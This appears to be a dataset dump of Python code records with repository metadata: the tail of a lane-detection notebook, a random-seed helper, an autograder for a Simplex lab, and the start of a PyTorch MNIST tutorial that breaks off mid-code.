'white_clip.write_videofile(white_output, audio=False)')\n\n\n# Play the video inline, or if you prefer find the video in your filesystem (should be in the same directory) and play it in your video player of choice.\n\n# In[9]:\n\n\nHTML(\"\"\"\n<video width=\"960\" height=\"540\" controls>\n  <source src=\"{0}\">\n</video>\n\"\"\".format(white_output))\n\n\n# ## Improve the draw_lines() function\n# \n# **At this point, if you were successful with making the pipeline and tuning parameters, you probably have the Hough line segments drawn onto the road, but what about identifying the full extent of the lane and marking it clearly as in the example video (P1_example.mp4)?  Think about defining a line to run the full length of the visible lane based on the line segments you identified with the Hough Transform. As mentioned previously, try to average and/or extrapolate the line segments you've detected to map out the full extent of the lane lines. You can see an example of the result you're going for in the video \"P1_example.mp4\".**\n# \n# **Go back and modify your draw_lines function accordingly and try re-running your pipeline. The new output should draw a single, solid line over the left lane line and a single, solid line over the right lane line. The lines should start from the bottom of the image and extend out to the top of the region of interest.**\n\n# Now for the one with the solid yellow lane on the left. This one's more tricky!\n\n# In[10]:\n\n\nyellow_output = 'test_videos_output/solidYellowLeft.mp4'\n## To speed up the testing process you may want to try your pipeline on a shorter subclip of the video\n## To do so add .subclip(start_second,end_second) to the end of the line below\n## Where start_second and end_second are integer values representing the start and end of the subclip\n## You may also uncomment the following line for a subclip of the first 5 seconds\n##clip2 = VideoFileClip('test_videos/solidYellowLeft.mp4').subclip(0,5)\nclip2 = VideoFileClip('test_videos/solidYellowLeft.mp4')\nyellow_clip = clip2.fl_image(process_image)\nget_ipython().run_line_magic('time', 'yellow_clip.write_videofile(yellow_output, audio=False)')\n\n\n# In[11]:\n\n\nHTML(\"\"\"\n<video width=\"960\" height=\"540\" controls>\n  <source src=\"{0}\">\n</video>\n\"\"\".format(yellow_output))\n\n\n# ## Writeup and Submission\n# \n# If you're satisfied with your video outputs, it's time to make the report writeup in a pdf or markdown file. Once you have this Ipython notebook ready along with the writeup, it's time to submit for review! Here is a [link](https://github.com/udacity/CarND-LaneLines-P1/blob/master/writeup_template.md) to the writeup template file.\n# \n\n# ## Optional Challenge\n# \n# Try your lane finding pipeline on the video below.  Does it still work?  Can you figure out a way to make it more robust?  If you're up for the challenge, modify your pipeline so it works with this video and submit it along with the rest of your project!\n\n# In[12]:\n\n\nchallenge_output = 'test_videos_output/challenge.mp4'\n## To speed up the testing process you may want to try your pipeline on a shorter subclip of the video\n## To do so add .subclip(start_second,end_second) to the end of the line below\n## Where start_second and end_second are integer values representing the start and end of the subclip\n## You may also uncomment the following line for a subclip of the first 5 seconds\n##clip3 = VideoFileClip('test_videos/challenge.mp4').subclip(0,5)\nclip3 = VideoFileClip('test_videos/challenge.mp4')\nchallenge_clip = clip3.fl_image(process_image)\nget_ipython().run_line_magic('time', 'challenge_clip.write_videofile(challenge_output, audio=False)')\n\n\n# In[13]:\n\n\nHTML(\"\"\"\n<video width=\"960\" height=\"540\" controls>\n  <source src=\"{0}\">\n</video>\n\"\"\".format(challenge_output))\n\n", "meta": {"hexsha": "09a69c9f619fc5a2165d626313b1fe8775b396db", "size": 16920, "ext": "py", "lang": "Python", "max_stars_repo_path": "Final.py", "max_stars_repo_name": "Christoph9402/CarND-Finding-Lane-Lines", "max_stars_repo_head_hexsha": "445a3adec9a1ce1a5f2f9acf16b8a8193fa28608", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Final.py", "max_issues_repo_name": "Christoph9402/CarND-Finding-Lane-Lines", "max_issues_repo_head_hexsha": "445a3adec9a1ce1a5f2f9acf16b8a8193fa28608", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Final.py", "max_forks_repo_name": "Christoph9402/CarND-Finding-Lane-Lines", "max_forks_repo_head_hexsha": "445a3adec9a1ce1a5f2f9acf16b8a8193fa28608", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.5327102804, "max_line_length": 638, "alphanum_fraction": 0.7085106383, "include": true, "reason": "import numpy", "num_tokens": 4345, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.14223190228178131, "lm_q1q2_score": 0.06778483035957421}}
{"text": "import random\n\nimport numpy as np\n\n\ndef set_seed(random_state: int = 42) -> None:\n    \"\"\"Function fixes random state to ensure results are reproducible\"\"\"\n    np.random.seed(random_state)\n    random.seed(random_state)\n", "meta": {"hexsha": "84841b824ca105976b7c170ca16678142365540b", "size": 218, "ext": "py", "lang": "Python", "max_stars_repo_path": "preprocessing/utils.py", "max_stars_repo_name": "nazariinyzhnyk/nlp-beatles-lyrics-modeling", "max_stars_repo_head_hexsha": "d341b6c2a1fe60a3ca6cae03052775b443f8cedb", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "preprocessing/utils.py", "max_issues_repo_name": "nazariinyzhnyk/nlp-beatles-lyrics-modeling", "max_issues_repo_head_hexsha": "d341b6c2a1fe60a3ca6cae03052775b443f8cedb", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "preprocessing/utils.py", "max_forks_repo_name": "nazariinyzhnyk/nlp-beatles-lyrics-modeling", "max_forks_repo_head_hexsha": "d341b6c2a1fe60a3ca6cae03052775b443f8cedb", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.8, "max_line_length": 72, "alphanum_fraction": 0.7293577982, "include": true, "reason": "import numpy", "num_tokens": 48, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.13660839354130014, "lm_q1q2_score": 0.067770581089774}}
{"text": "# testDriver.py\n\"\"\"Volume 2 Lab 16: Simplex. Test Driver.\"\"\"\n\nimport signal\nimport numpy as np\nfrom functools import wraps\nfrom solutions import SimplexSolver, prob7\n\n# Wrapper =====================================================================\nclass TimeoutError(Exception):\n    pass\n\ndef _timeout(seconds):\n    \"\"\"Decorator for preventing a function from running for too long.\n\n    Inputs:\n        seconds (int): The number of seconds allowed.\n\n    Notes:\n        This decorator uses signal.SIGALRM, which is only available on Unix.\n    \"\"\"\n    assert isinstance(seconds, int), \"@timeout(sec) requires an int\"\n\n    def _handler(signum, frame):\n        \"\"\"Handle the alarm by raising a custom exception.\"\"\"\n        raise TimeoutError(\"Timeout after {0} seconds\".format(seconds))\n\n    def decorator(func):\n        def wrapper(*args, **kwargs):\n            signal.signal(signal.SIGALRM, _handler)\n            signal.alarm(seconds)               # Set the alarm.\n            try:\n                result = func(*args, **kwargs)\n            finally:\n                signal.alarm(0)                 # Turn the alarm off.\n            return result\n        return wraps(func)(wrapper)\n    return decorator\n\n# Test Script and Class =======================================================\n\ndef test(student_module):\n    \"\"\"Test script. Import the student's solutions file as a module.\n    \n    30 points for the Simplex Solver (example problem)\n    10 points for problem 7: Product Mix.\n    \n    Inputs:\n        student_module: the imported module for the student's file.\n    \n    Returns:\n        score (int): the student's score, out of 40.\n        feedback (str): a printout of test results for the student.\n    \"\"\"\n    driver = _testDriver()\n    driver.test_all(student_module)\n    return driver.score, driver.feedback\n\n\nclass _testDriver(object):\n    \"\"\"Class for testing a student's work. See test.__doc__ for more info.\"\"\"\n\n    # Constructor -------------------------------------------------------------\n    def __init__(self):\n        \"\"\"Initialize the feedback attribute.\"\"\"\n        self.feedback = \"\"\n\n    # Main routine -----------------------------------------------------------\n    def test_all(self, student_module, total=40):\n        \"\"\"Grade the provided module on each problem and compile feedback.\"\"\"\n        # Reset feedback and score.\n        self.feedback = \"\"\n        self.score = 0\n\n        def test_one(problem, number, value):\n            \"\"\"Test a single problem, checking for errors.\"\"\"\n            try:\n                self.feedback += \"\\n\\nProblem {} ({} points):\".format(\n                                                                number, value)\n                points = problem(student_module)\n                self.score += points\n                self.feedback += \"\\nScore += {}\".format(points)\n            except BaseException as e:\n                self.feedback += \"\\n{}: {}\".format(self._errType(e), e)\n\n        # Grade each problem.\n        test_one(self.problem6, '1-6', 30)   # Problems 1-6: 30 points.\n        test_one(self.problem7, '7',   10)   # Problem 7:    10 points.\n\n        # Report final score.\n        percentage = (100. * self.score) / total\n        self.feedback += \"\\n\\nTotal score: {}/{} = {}%\".format(\n                                    self.score, total, round(percentage, 2))\n        if   percentage >=  98: self.feedback += \"\\n\\nExcellent!\"\n        elif percentage >=  90: self.feedback += \"\\n\\nGreat job!\"\n\n        # Add comments (optionally).\n        print(self.feedback)\n        comments = str(raw_input(\"Comments: \"))\n        if len(comments) > 0:\n            self.feedback += '\\n\\n\\nComments:\\n\\t{}'.format(comments)\n\n    # Helper Functions --------------------------------------------------------\n    @staticmethod\n    def _errType(error):\n        \"\"\"Get just the name of the exception 'error' in string format.\"\"\"\n        if isinstance(error, TimeoutError):\n            return \"TimeoutError\"\n        if isinstance(error, BaseException):\n            return str(type(error)).lstrip(\"<type 'exceptions.\").rstrip(\"'>\")\n        else:\n            return str(error)\n\n    def _eqTest(self, correct, student, message):\n        \"\"\"Test to see if 'correct' and 'student' are equal.\n        Report the given 'message' if they are not.\n        \"\"\"\n        if np.allclose(correct, student):\n            return 1\n        else:\n            self.feedback += \"\\n{}\".format(message)\n            self.feedback += \"\\n\\tCorrect response: {}\".format(correct)\n            self.feedback += \"\\n\\tStudent response: {}\".format(student)\n            return 0\n\n    def _dicTest(self, correct, student):\n        \"\"\"Test to see if the dictionaries 'correct' and 'student' have the\n        same string representation. Report the given 'message' if they are not.\n        \"\"\"\n        assert isinstance(correct, dict), \"Expected a dictionary\"\n        if not isinstance(student, dict):\n            self.feedback += \"\\nExpected a dictionary\"\n            return 0\n\n        points = 0\n        success = True\n        for key in correct:\n            if key in student:\n                points += 1\n                if correct[key] == student[key]:\n                    points += 1\n                else:\n                    success = False\n            else:\n                success = False\n        if not success:\n            self.feedback += \"\\n{}\".format(\"Incorrect Dictionary\")\n            self.feedback += \"\\n\\tCorrect response: {}\".format(correct)\n            self.feedback += \"\\n\\tStudent response: {}\".format(student)\n        return points\n\n    # Problems ----------------------------------------------------------------\n    def test_simplex(self, s, c, b, A, simple=False):\n        \"\"\"Test the student's SimplexSolver class on the linear program\n                maximize    c^t x\n                subject to  Ax <= b\n        If simple=True, the amount of points earned is 15. If simple=False,\n        the amount of points earned is\n            15 + number of basic variables + number of nonbasic variables\n        \"\"\"\n        points = 0\n        key = SimplexSolver(c, A, b)\n        student = s.SimplexSolver(c, A, b)\n        sol1, sol2 = key.solve(), student.solve()\n\n        # Test the primal objective.\n        points += 15 * self._eqTest(sol1[0], sol2[0],\n                                            \"Incorrect primal objective\")\n        if simple is False:\n            # Test the basic and nonbasic variable dictionaries.\n            points += self._dicTest(sol1[1], sol2[1])\n            points += self._dicTest(sol1[2], sol2[2])\n\n        return points\n\n    @_timeout(3)\n    def problem6(self, s):\n        \"\"\"Test the SimplexSolver class. 30 points.\"\"\"\n        points = 0\n\n        # Test SimplexSolver on a system that is infeasible at the origin.\n        c = np.array([3., 2.])\n        b = np.array([2., 5., -7.])\n        A = np.array([[1., -1.],\n                      [3.,  1.],\n                      [4.,  3.]])\n        try:\n            self.test_simplex(s, c, b, A, simple=True)\n        except ValueError as e:\n            points += 5\n        else:\n            self.feedback += \"\\nExpected ValueError for infeasible system\"\n\n        # Test SimplexSolver on a valid, closed system.\n        b = np.array([2., 5., 7.])\n        points += self.test_simplex(s, c, b, A, simple=False)\n        \n        return points\n\n    @_timeout(3)\n    def problem7(self, s):\n        \"\"\"Test prob7(). 10 points.\"\"\"\n\n        sol1, sol2 = prob7(), s.prob7()\n        c = np.load('productMix.npz')['p']\n        sol1, sol2 = c.dot(sol1), c.dot(sol2)\n\n        # primal = 7453.59649123\n        # assert np.allclose(sol1, primal)\n\n        return 10 * self._eqTest(sol1, sol2, \"Incorrect maximizer\")\n\n\n# END OF FILE =================================================================\n", "meta": {"hexsha": "df50621de7e6e14c36641308de0dfa29fee95dc1", "size": 7782, "ext": "py", "lang": "Python", "max_stars_repo_path": "Vol2B/Simplex/testDriver.py", "max_stars_repo_name": "joshualy/numerical_computing", "max_stars_repo_head_hexsha": "9f474e36fe85ae663bd20e2f2d06265d1f095173", "max_stars_repo_licenses": ["CC-BY-3.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Vol2B/Simplex/testDriver.py", "max_issues_repo_name": "joshualy/numerical_computing", "max_issues_repo_head_hexsha": "9f474e36fe85ae663bd20e2f2d06265d1f095173", "max_issues_repo_licenses": ["CC-BY-3.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Vol2B/Simplex/testDriver.py", "max_forks_repo_name": "joshualy/numerical_computing", "max_forks_repo_head_hexsha": "9f474e36fe85ae663bd20e2f2d06265d1f095173", "max_forks_repo_licenses": ["CC-BY-3.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-11-05T14:45:03.000Z", "max_forks_repo_forks_event_max_datetime": "2019-11-05T14:45:03.000Z", "avg_line_length": 36.1953488372, "max_line_length": 79, "alphanum_fraction": 0.523772809, "include": true, "reason": "import numpy", "num_tokens": 1683, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.13660837772343723, "lm_q1q2_score": 0.06777057324262983}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Training Deep Neural Networks on a GPU with PyTorch\n# \n# ### Part 4 of \"Deep Learning with Pytorch: Zero to GANs\"\n# \n# This tutorial series is a hands-on beginner-friendly introduction to deep learning using [PyTorch](https://pytorch.org), an open-source neural networks library. These tutorials take a practical and coding-focused approach. The best way to learn the material is to execute the code and experiment with it yourself. Check out the full series here:\n# \n# 1. [PyTorch Basics: Tensors & Gradients](https://jovian.ai/aakashns/01-pytorch-basics)\n# 2. [Gradient Descent & Linear Regression](https://jovian.ai/aakashns/02-linear-regression)\n# 3. [Working with Images & Logistic Regression](https://jovian.ai/aakashns/03-logistic-regression) \n# 4. [Training Deep Neural Networks on a GPU](https://jovian.ai/aakashns/04-feedforward-nn)\n# 5. [Image Classification using Convolutional Neural Networks](https://jovian.ai/aakashns/05-cifar10-cnn)\n# 6. [Data Augmentation, Regularization and ResNets](https://jovian.ai/aakashns/05b-cifar10-resnet)\n# 7. [Generating Images using Generative Adversarial Networks](https://jovian.ai/aakashns/06b-anime-dcgan/)\n# \n\n#  This tutorial covers the following topics:\n#  \n#  * Creating a deep neural network with hidden layers\n#  * Using a non-linear activation function\n#  * Using a GPU (when available) to speed up training\n#  * Experimenting with hyperparameters to improve the model\n\n# ### How to run the code\n# \n# This tutorial is an executable [Jupyter notebook](https://jupyter.org) hosted on [Jovian](https://www.jovian.ai). You can _run_ this tutorial and experiment with the code examples in a couple of ways: *using free online resources* (recommended) or *on your computer*.\n# \n# #### Option 1: Running using free online resources (1-click, recommended)\n# \n# The easiest way to start executing the code is to click the **Run** button at the top of this page and select **Run on Colab**. [Google Colab](https://colab.research.google.com) is a free online platform for running Jupyter notebooks using Google's cloud infrastructure. You can also select \"Run on Binder\" or \"Run on Kaggle\" if you face issues running the notebook on Google Colab. \n# \n# \n# #### Option 2: Running on your computer locally\n# \n# To run the code on your computer locally, you'll need to set up [Python](https://www.python.org), download the notebook and install the required libraries. We recommend using the [Conda](https://docs.conda.io/projects/conda/en/latest/user-guide/install/) distribution of Python. Click the **Run** button at the top of this page, select the **Run Locally** option, and follow the instructions.\n# \n# >  **Jupyter Notebooks**: This tutorial is a [Jupyter notebook](https://jupyter.org) - a document made of _cells_. Each cell can contain code written in Python or explanations in plain English. You can execute code cells and view the results, e.g., numbers, messages, graphs, tables, files, etc., instantly within the notebook. Jupyter is a powerful platform for experimentation and analysis. Don't be afraid to mess around with the code & break things - you'll learn a lot by encountering and fixing errors. You can use the \"Kernel > Restart & Clear Output\" or \"Edit > Clear Outputs\" menu option to clear all outputs and start again from the top.\n\n# ### Using a GPU for faster training\n# \n# You can use a [Graphics Processing Unit](https://en.wikipedia.org/wiki/Graphics_processing_unit) (GPU) to train your models faster if your execution platform is connected to a GPU manufactured by NVIDIA. Follow these instructions to use a GPU on the platform of your choice:\n# \n# * _Google Colab_: Use the menu option \"Runtime > Change Runtime Type\" and select \"GPU\" from the \"Hardware Accelerator\" dropdown.\n# * _Kaggle_: In the \"Settings\" section of the sidebar, select \"GPU\" from the \"Accelerator\" dropdown. Use the button on the top-right to open the sidebar.\n# * _Binder_: Notebooks running on Binder cannot use a GPU, as the machines powering Binder aren't connected to any GPUs.\n# * _Linux_: If your laptop/desktop has an NVIDIA GPU (graphics card), make sure you have installed the [NVIDIA CUDA drivers](https://docs.nvidia.com/cuda/cuda-installation-guide-linux/index.html).\n# * _Windows_: If your laptop/desktop has an NVIDIA GPU (graphics card), make sure you have installed the [NVIDIA CUDA drivers](https://docs.nvidia.com/cuda/cuda-installation-guide-microsoft-windows/index.html).\n# * _macOS_: macOS is not compatible with NVIDIA GPUs\n# \n# \n# If you do not have access to a GPU or aren't sure what it is, don't worry, you can execute all the code in this tutorial just fine without a GPU.\n\n# ## Preparing the Data\n# \n# In [the previous tutorial](https://jovian.ai/aakashns/03-logistic-regression), we trained a logistic regression model to identify handwritten digits from the MNIST dataset with an accuracy of around 86%. The dataset consists of 28px by 28px grayscale images of handwritten digits (0 to 9) and labels for each image indicating which digit it represents. Here are some sample images from the dataset:\n# \n# ![mnist-sample](https://i.imgur.com/CAYnuo1.jpg)\n# \n# We noticed that it's quite challenging to improve the accuracy of a logistic regression model beyond 87%, since the model assumes a linear relationship between pixel intensities and image labels. In this post, we'll try to improve upon it  using a *feed-forward neural network* which can capture non-linear relationships between inputs and targets.\n# \n# Let's begin by installing and importing the required modules and classes from `torch`, `torchvision`, `numpy`, and `matplotlib`.\n\n# In[1]:\n\n\n# Uncomment and run the appropriate command for your operating system, if required\n\n# Linux / Binder\n# !pip install numpy matplotlib torch==1.7.0+cpu torchvision==0.8.1+cpu torchaudio==0.7.0 -f https://download.pytorch.org/whl/torch_stable.html\n\n# MacOS\n# !pip install numpy matplotlib torch torchvision torchaudio\n\n\n# In[2]:\n\n\nimport torch\nimport torchvision\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision.datasets import MNIST\nfrom torchvision.transforms import ToTensor\nfrom torchvision.utils import make_grid\nfrom torch.utils.data.dataloader import DataLoader\nfrom torch.utils.data import random_split\n\n# Use a white background for matplotlib figures\nmatplotlib.rcParams['figure.facecolor'] = '#ffffff'\n\n\n# We can download the data and create a PyTorch dataset using the `MNIST` class from `torchvision.datasets`. \n\n# In[3]:\n\n\ndataset = MNIST(root='data/', download=True, transform=ToTensor())\n\n\n# Let's look at a couple of images from the dataset. The images are converted to PyTorch tensors with the shape `1x28x28` (the dimensions represent color channels, width and height). We can use `plt.imshow` to display the images. However, `plt.imshow` expects channels to be last dimension in an image tensor, so we use the `permute` method to reorder the dimensions of the image.\n\n# In[4]:\n\n\nimage, label = dataset[0]\nprint('image.shape:', image.shape)\nimage_perm = image.permute(1, 2, 0)\nprint(image_perm.shape)\nplt.imshow(image[0], cmap='gray')\nprint('Label:', label)\n\n\n# In[5]:\n\n\nimage, label = dataset[0]\nprint('image.shape:', image.shape)\nplt.imshow(image[0], cmap='gray')\nprint('Label:', label)\n\n\n# Next, let's use the `random_split` helper function to set aside 10000 images for our validation set.\n\n# In[6]:\n\n\nval_size = 10000\ntrain_size = len(dataset) - val_size\n\ntrain_ds, val_ds = random_split(dataset, [train_size, val_size])\nlen(train_ds), len(val_ds)\n\n\n# We can now create PyTorch data loaders for training and validation.\n\n# In[7]:\n\n\nbatch_size=128\n\n\n# In[8]:\n\n\ntrain_loader = DataLoader(train_ds, batch_size, shuffle=True, num_workers=4, pin_memory=True)\nval_loader = DataLoader(val_ds, batch_size*2, num_workers=4, pin_memory=True)\n\nprint(torch.cuda.device_count())\n\n\n# Can you figure out the purpose of the arguments `num_workers` and `pin_memory`? Try looking into the documentation: https://pytorch.org/docs/stable/data.html .\n# \n# Let's visualize a batch of data in a grid using the `make_grid` function from `torchvision`. We'll also use the `.permute` method on the tensor to move the channels to the last dimension, as expected by `matplotlib`.\n\n# In[9]:\n\n\nfor images, _ in train_loader:\n    print('images.shape:', images.shape)\n    plt.figure(figsize=(16,8))\n    plt.axis('off')\n    plt.imshow(make_grid(images, nrow=16).permute((1, 2, 0)))\n    break\n\n\n# ## Hidden Layers, Activation Functions and Non-Linearity\n# \n# We'll create a neural network with two layers: a _hidden layer_ and an _output layer_. Additionally, we'll use an _activation function_ between the two layers. Let's look at a step-by-step example to learn how hidden layers and activation functions can help capture non-linear relationships between inputs and outputs.\n# \n# First, let's create a batch of inputs tensors. We'll flatten the `1x28x28` images into vectors of size `784`, so they can be passed into an `nn.Linear` object.\n\n# In[11]:\n\n\nfor images, labels in train_loader:\n    print('images.shape:', images.shape)\n    inputs = images.reshape(-1, 784)\n    print('inputs.shape:', inputs.shape)\n    break\n\n\n# Next, let's create a `nn.Linear` object, which will serve as our _hidden_ layer. We'll set the size of the output from the hidden layer to 32. This number can be increased or decreased to change the _learning capacity_ of the model.\n\n# In[59]:\n\n\ninput_size = inputs.shape[-1]\nhidden_size = 256\n\n\n# In[60]:\n\n\nlayer1 = nn.Linear(input_size, hidden_size)\n\n\n# We can now compute intermediate outputs for the batch of images by passing `inputs` through `layer1`.\n\n# In[61]:\n\n\ninputs.shape\n\n\n# In[62]:\n\n\nlayer1_outputs = layer1(inputs)\nprint('layer1_outputs.shape:', layer1_outputs.shape)\n\n\n# The image vectors of size `784` are transformed into intermediate output vectors of length `32` by performing a matrix multiplication of `inputs` matrix with the transposed weights matrix of `layer1` and adding the bias. We can verify this using `torch.allclose`. For a more detailed explanation, review the tutorial on [linear regression](https://jovian.ai/aakashns/02-linear-regression).\n\n# In[63]:\n\n\nlayer1_outputs_direct = inputs @ layer1.weight.t() + layer1.bias\nlayer1_outputs_direct.shape\n\n\n# In[64]:\n\n\ntorch.allclose(layer1_outputs, layer1_outputs_direct, 1e-3)\n\n\n# Thus, `layer1_outputs` and `inputs` have a linear relationship, i.e., each element of `layer_outputs` is a weighted sum of elements from `inputs`. Thus, even as we train the model and modify the weights, `layer1` can only capture linear relationships between `inputs` and `outputs`.\n# \n# <img src=\"https://i.imgur.com/inXsLuq.png\" width=\"360\">\n# \n\n# Next, we'll use the Rectified Linear Unit (ReLU) function as the activation function for the outputs. It has the formula `relu(x) = max(0,x)` i.e. it simply replaces negative values in a given tensor with the value 0. ReLU is a non-linear function, as seen here visually:\n# \n# <img src=\"https://i.imgur.com/yijV4xF.png\" width=\"420\">\n# \n# We can use the `F.relu` method to apply ReLU to the elements of a tensor.\n\n# In[65]:\n\n\nF.relu(torch.tensor([[1, -1, 0], \n                     [-0.1, .2, 3]]))\n\n\n# Let's apply the activation function to `layer1_outputs` and verify that negative values were replaced with 0.\n\n# In[66]:\n\n\nrelu_outputs = F.relu(layer1_outputs)\nprint('min(layer1_outputs):', torch.min(layer1_outputs).item())\nprint('min(relu_outputs):', torch.min(relu_outputs).item())\n\n\n# Now that we've applied a non-linear activation function, `relu_outputs` and `inputs` do not have a linear relationship. We refer to `ReLU` as the _activation function_, because for each input certain outputs are activated (those with non-zero values) while others turned off (those with zero values)\n# \n# Next, let's create an output layer to convert vectors of length `hidden_size` in `relu_outputs` into vectors of length 10, which is the desired output of our model (since there are 10 target labels).\n\n# In[67]:\n\n\noutput_size = 10\nlayer2 = nn.Linear(hidden_size, output_size)\n\n\n# In[68]:\n\n\nlayer2_outputs = layer2(relu_outputs)\nprint(layer2_outputs.shape)\n\n\n# In[69]:\n\n\ninputs.shape\n\n\n# As expected, `layer2_outputs` contains a batch of vectors of size 10. We can now use this output to compute the loss using `F.cross_entropy` and adjust the weights of `layer1` and `layer2` using gradient descent.\n\n# In[70]:\n\n\nF.cross_entropy(layer2_outputs, labels)\n\n\n# Thus, our model transforms `inputs` into `layer2_outputs` by applying a linear transformation (using `layer1`), followed by a non-linear activation (using `F.relu`), followed by another linear transformation (using `layer2`). Let's verify this by re-computing the output using basic matrix operations.\n\n# In[71]:\n\n\n# Expanded version of layer2(F.relu(layer1(inputs)))\noutputs = (F.relu(inputs @ layer1.weight.t() + layer1.bias)) @ layer2.weight.t() + layer2.bias\n\n\n# In[72]:\n\n\ntorch.allclose(outputs, layer2_outputs, 1e-3)\n\n\n# Note that `outputs` and `inputs` do not have a linear relationship due to the non-linear activation function `F.relu`. As we train the model and adjust the weights of `layer1` and `layer2`, we can now capture non-linear relationships between the images and their labels. In other words, introducing non-linearity makes the model more powerful and versatile. Also, since `hidden_size` does not depend on the dimensions of the inputs or outputs, we vary it to increase the number of parameters within the model. We can also introduce new hidden layers and apply the same non-linear activation after each hidden layer.\n# \n# The model we just created is called a neural network. A _deep neural network_ is simply a neural network with one or more hidden layers. In fact, the [Universal Approximation Theorem](http://neuralnetworksanddeeplearning.com/chap4.html) states that a sufficiently large & deep neural network can compute any arbitrary function i.e. it can _learn_ rich and complex non-linear relationships between inputs and targets. Here are some examples:\n# \n# * Identifying if an image contains a cat or a dog (or [something else](https://machinelearningmastery.com/introduction-to-the-imagenet-large-scale-visual-recognition-challenge-ilsvrc/))\n# * Identifying the genre of a song using a 10-second sample\n# * Classifying movie reviews as positive or negative based on their content\n# * Navigating self-driving cars using a video feed of the road\n# * Translating sentences from English to French (and hundreds of other languages)\n# * Converting a speech recording to text and vice versa\n# * And many more...\n# \n# It's hard to imagine how the simple process of multiplying inputs with randomly initialized matrices, applying non-linear activations, and adjusting weights repeatedly using gradient descent can yield such astounding results. Deep learning models often contain millions of parameters, which can together capture far more complex relationships than the human brain can comprehend.\n# \n# If we hadn't included a non-linear activation between the two linear layers, the final relationship between inputs and outputs would still be linear. A simple refactoring of the computations illustrates this.\n\n# In[73]:\n\n\n# Same as layer2(layer1(inputs))\noutputs2 = (inputs @ layer1.weight.t() + layer1.bias) @ layer2.weight.t() + layer2.bias\n\n\n# In[74]:\n\n\n# Create a single layer to replace the two linear layers\ncombined_layer = nn.Linear(input_size, output_size)\n\ncombined_layer.weight.data = layer2.weight @ layer1.weight\ncombined_layer.bias.data = layer1.bias @ layer2.weight.t() + layer2.bias\n\n\n# In[75]:\n\n\n# Same as combined_layer(inputs)\noutputs3 = inputs @ combined_layer.weight.t() + combined_layer.bias\n\n\n# In[76]:\n\n\ntorch.allclose(outputs2, outputs3, 1e-3)\n\n\n# ### Save and upload your notebook\n# \n# Whether you're running this Jupyter notebook online or on your computer, it's essential to save your work from time to time. You can continue working on a saved notebook later or share it with friends and colleagues to let them execute your code. [Jovian](https://jovian.ai/platform-features) offers an easy way of saving and sharing your Jupyter notebooks online.\n\n# In[39]:\n\n\n# In[40]:\n\n# In[41]:\n\n# `jovian.commit` uploads the notebook to your Jovian account, captures the Python environment, and creates a shareable link for your notebook, as shown above. You can use this link to share your work and let anyone (including you) run your notebooks and reproduce your work.\n\n# ## Model\n# \n# We are now ready to define our model. As discussed above, we'll create a neural network with one hidden layer. Here's what that means:\n# \n# * Instead of using a single `nn.Linear` object to transform a batch of inputs (pixel intensities) into outputs (class probabilities), we'll use two `nn.Linear` objects. Each of these is called a _layer_ in the network. \n# \n# * The first layer (also known as the hidden layer) will transform the input matrix of shape `batch_size x 784` into an intermediate output matrix of shape `batch_size x hidden_size`. The parameter `hidden_size` can be configured manually (e.g., 32 or 64).\n# \n# * We'll then apply a non-linear *activation function* to the intermediate outputs. The activation function transforms individual elements of the matrix.\n# \n# * The result of the activation function, which is also of size `batch_size x hidden_size`, is passed into the second layer (also known as the output layer).  The second layer transforms it into a matrix of size `batch_size x 10`. We can use this output to compute the loss and adjust weights using gradient descent.\n# \n# \n# As discussed above, our model will contain one hidden layer. Here's what it looks like visually:\n# \n# <img src=\"https://i.imgur.com/eN7FrpF.png\" width=\"480\">\n# \n# \n# Let's define the model by extending the `nn.Module` class from PyTorch.\n\n# In[275]:\n\n\nclass MnistModel(nn.Module):\n    \"\"\"Feedfoward neural network with 1 hidden layer\"\"\"\n    def __init__(self, in_size, hidden_size, out_size):\n        super().__init__()\n        \n        self.hidden_count = 1\n        self.hidden_layers = []\n        \n       \n        # hidden layer\n        self.linear1 = nn.Linear(in_size, hidden_size)\n        # output layer\n        \n        for x in range(self.hidden_count) :\n           self.hidden_layers.append(nn.Linear(hidden_size, hidden_size));\n        \n        self.linear4 = nn.Linear(hidden_size, out_size)\n        \n    def forward(self, xb):\n        # Flatten the image tensors\n        xb = xb.view(xb.size(0), -1)\n        # Get intermediate outputs using hidden layer\n        out = self.linear1(xb)\n        # Apply activation function\n        out = F.relu(out)\n        \n        #for layer in self.hidden_layers:\n        #    out = layer(out)\n        #    out = F.relu(out)\n        \n        # Get predictions using output layer\n        out = self.linear4(out)\n        return out\n    \n    def training_step(self, batch):\n        images, labels = batch \n        out = self(images)                  # Generate predictions\n        loss = F.cross_entropy(out, labels) # Calculate loss\n        return loss\n    \n    def validation_step(self, batch):\n        images, labels = batch \n        out = self(images)                    # Generate predictions\n        loss = F.cross_entropy(out, labels)   # 